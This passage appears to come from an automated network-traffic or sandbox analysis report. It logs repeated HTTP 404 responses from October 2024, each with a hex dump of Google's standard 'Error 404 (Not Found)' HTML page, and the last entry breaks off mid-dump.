Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:29 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:34 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:36 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:37 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:41 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:42 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:44 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 